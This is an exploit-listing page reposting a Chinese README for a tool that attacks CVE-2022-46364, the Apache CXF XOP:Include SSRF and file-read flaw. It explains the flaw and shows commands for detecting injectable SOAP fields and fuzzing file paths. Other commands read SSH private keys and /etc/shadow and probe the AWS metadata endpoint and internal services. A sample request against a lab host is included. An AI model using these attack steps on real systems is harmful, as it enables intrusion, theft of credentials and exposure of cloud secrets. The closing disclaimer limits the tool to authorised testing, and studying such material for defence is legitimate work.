Sploitus

Exploit for CVE-2022-46364-poc

kitploit · 2026-09-06

Exploit Code

MARKDOWN207 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XMID00-CVE-2022-46364-POC
# CVE-2022-46364 — Apache CXF XOP:Include SSRF / LFI

**作者:** 0xmid00  
**漏洞:** MTOM 请求中通过 XOP:Include 实现 SSRF / 本地文件读取  
**影响:** Apache CXF < 3.5.5 及 < 3.4.10

* * *

## 什么是漏洞?

Apache CXF 处理包含 `XOP:Include` 元素的 MTOM(消息传输优化机制)消息。`XOP:Include` 的 `href` 属性本应引用同一 MTOM 多部分消息中的附件。

然而,在受影响版本中,CXF 会跟随 `href` 中提供的**任意 URI** ,包括:

  * `file:///etc/passwd` → 读取本地文件(LFI)
  * `http://127.0.0.1:PORT/` → 探测内部服务(SSRF)



攻击者只需发送一个包含**至少一个任意类型参数** 的 SOAP 请求即可触发。

* * *

## 依赖

root@kitploit:~
    
    
    pip install requests
    

* * *

## 用法

root@kitploit:~
    
    
    python3 exploit.py -r request.txt [选项]
    

### 参数

* * *

## 请求文件格式

将原始 HTTP 请求按捕获时的原样保存到 `.txt` 文件中(例如从 Burp 导出):

root@kitploit:~
    
    
    POST /employeeservice HTTP/1.1
    Host: devarea.htb:8080
    Content-Type: text/xml; charset=utf-8
    SOAPAction: ""
    Connection: close
    Content-Length: 487
    
    <?xml version="1.0" encoding="UTF-8"?>
    <soapenv:Envelope
      xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
      xmlns:tns="http://devarea.htb/">
      <soapenv:Body>
        <tns:submitReport>
          <arg0>
            <confidential>false</confidential>
            <content>test</content>
            <department>IT</department>
            <employeeName>john</employeeName>
          </arg0>
        </tns:submitReport>
      </soapenv:Body>
    </soapenv:Envelope>
    

该利用工具会自动将其转换为 MTOM 格式——您无需手动操作。

* * *

## 示例

### 模式 1 — 自动检测所有可注入字段

root@kitploit:~
    
    
    python3 exploit.py -r request.txt --mode 1
    

尝试在每个叶子 XML 元素中注入 `file:///etc/passwd`,并报告哪些元素返回了文件内容。

* * *

### 模式 1 — 测试特定字段

root@kitploit:~
    
    
    python3 exploit.py -r request.txt --mode 1 --field content
    

* * *

### 模式 2 — 文件模糊测试(先自动检测字段)

root@kitploit:~
    
    
    python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt
    

先运行模式 1 找到可注入字段,然后通过该字段对字典中的所有路径进行模糊测试。

* * *

### 模式 2 — 已知字段下的文件模糊测试(最快)

root@kitploit:~
    
    
    python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt
    

跳过字段检测,直接进行模糊测试。

* * *

### 读取单个文件

root@kitploit:~
    
    
    python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa
    

* * *

## 字典示例(lfi.txt)

root@kitploit:~
    
    
    /etc/passwd
    /etc/shadow
    /etc/hosts
    /etc/hostname
    /proc/self/environ
    /proc/self/cmdline
    /home/dev_ryan/.ssh/id_rsa
    /home/dev_ryan/.bash_history
    /home/dev_ryan/.bashrc
    /root/.ssh/id_rsa
    /root/.bash_history
    /var/log/auth.log
    /var/log/syslog
    

您也可以使用 SecLists:

root@kitploit:~
    
    
    /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
    

* * *

## 工作原理

  1. 解析原始 HTTP 请求文件
  2. 定位 SOAP 主体中的目标 XML 字段
  3. 将字段内容替换为 `<xop:Include href="file:///..."/>`
  4. 将请求封装为 MTOM 多部分格式(需要此格式才能激活 CXF 的 XOP 处理器)
  5. 发送请求——CXF 获取文件并以 Base64 编码返回文件内容
  6. 解码并打印结果



* * *

## SSRF 模式

要探测内部 HTTP 服务而非读取文件:

root@kitploit:~
    
    
    python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/
    

或将 `--read` 值改为任意内部 URL:

root@kitploit:~
    
    
    --read http://169.254.169.254/latest/meta-data/   (AWS 元数据)
    --read http://127.0.0.1:3306/                      (MySQL)
    --read http://127.0.0.1:22/                        (SSH 横幅)
    

* * *

## 免责声明

此工具仅用于授权渗透测试和 CTF 挑战。作者对任何滥用行为不承担责任。